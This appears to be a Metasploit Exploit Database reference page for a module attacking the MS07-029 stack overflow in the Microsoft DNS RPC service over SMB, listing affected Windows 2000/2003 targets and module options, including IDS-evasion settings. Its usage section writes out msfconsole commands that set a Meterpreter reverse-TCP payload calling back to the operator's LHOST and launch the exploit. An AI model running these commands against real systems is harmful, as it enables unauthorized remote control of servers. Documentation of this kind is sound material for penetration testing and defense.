Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB) | Metasploit Exploit Database (DB)

Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)

This module exploits a stack buffer overflow in the RPC interface of the Microsoft DNS service. The vulnerability is triggered when a long zone name parameter is supplied that contains escaped octal strings. This module is capable of bypassing NX/DEP protection on Windows 2003 SP1/SP2. This module exploits the RPC service using the \DNSSERVER pipe available via SMB. This pipe requires a valid user account to access, so the SMBUSER and SMBPASS options must be specified.

Search Other Modules


Exploit Rank

  • Manual

Exploit Authors

  • hdm < hdm [at] metasploit.com >
  • anonymous < anonymous-contributor [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2) (default)
  • 1 - Windows 2000 Server SP0-SP4+ English
  • 2 - Windows 2000 Server SP0-SP4+ Italian
  • 3 - Windows 2000 Server SP0-SP4+ French
  • 4 - Windows 2003 Server SP0 English
  • 5 - Windows 2003 Server SP0 French
  • 6 - Windows 2003 Server SP1-SP2 English
  • 7 - Windows 2003 Server SP1-SP2 French
  • 8 - Windows 2003 Server SP1-SP2 Spanish
  • 9 - Windows 2003 Server SP1-SP2 Italian
  • 10 - Windows 2003 Server SP1-SP2 German

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/smb/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > show payloads
msf exploit(ms07_029_msdns_zonename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms07_029_msdns_zonename) > set LHOST [MY IP ADDRESS]
msf exploit(ms07_029_msdns_zonename) > set RHOST [TARGET IP]
msf exploit(ms07_029_msdns_zonename) > exploit


Exploit Module Options

Locale Locale for automatic target (English, French, Italian, ...) (default: English)
RHOST The target address
RPORT Set the SMB service port (default: 445)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DCERPC::ReadTimeout The number of seconds to wait for DCERPC responses
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
NTLM::SendLM Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKey Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies Use a proxy chain
SMB::ChunkSize The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM The Native LM to send during authentication
SMB::Native_OS The Native OS to send during authentication
SMB::VerifySignature Enforces client-side verification of server response signatures
SMBDirect The target port is a raw SMB service (not NetBIOS)
SMBDomain The Windows domain to use for authentication
SMBName The NetBIOS hostname (required for port 139 connections)
SMBPass The password for the specified username
SMBUser The username to authenticate as
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
DCERPC::fake_bind_multi Use multi-context bind calls
DCERPC::fake_bind_multi_append Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio Use a different delivery method for accessing named pipes (accepted: rw, trans)
SMB::obscure_trans_pipe_level Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level Place extra padding between headers and data (level 0-3)
SMB::pad_file_level Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size Maximum buffer size for pipe reads
SMB::pipe_read_min_size Minimum buffer size for pipe reads
SMB::pipe_write_max_size Maximum buffer size for pipe writes
SMB::pipe_write_min_size Minimum buffer size for pipe writes
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)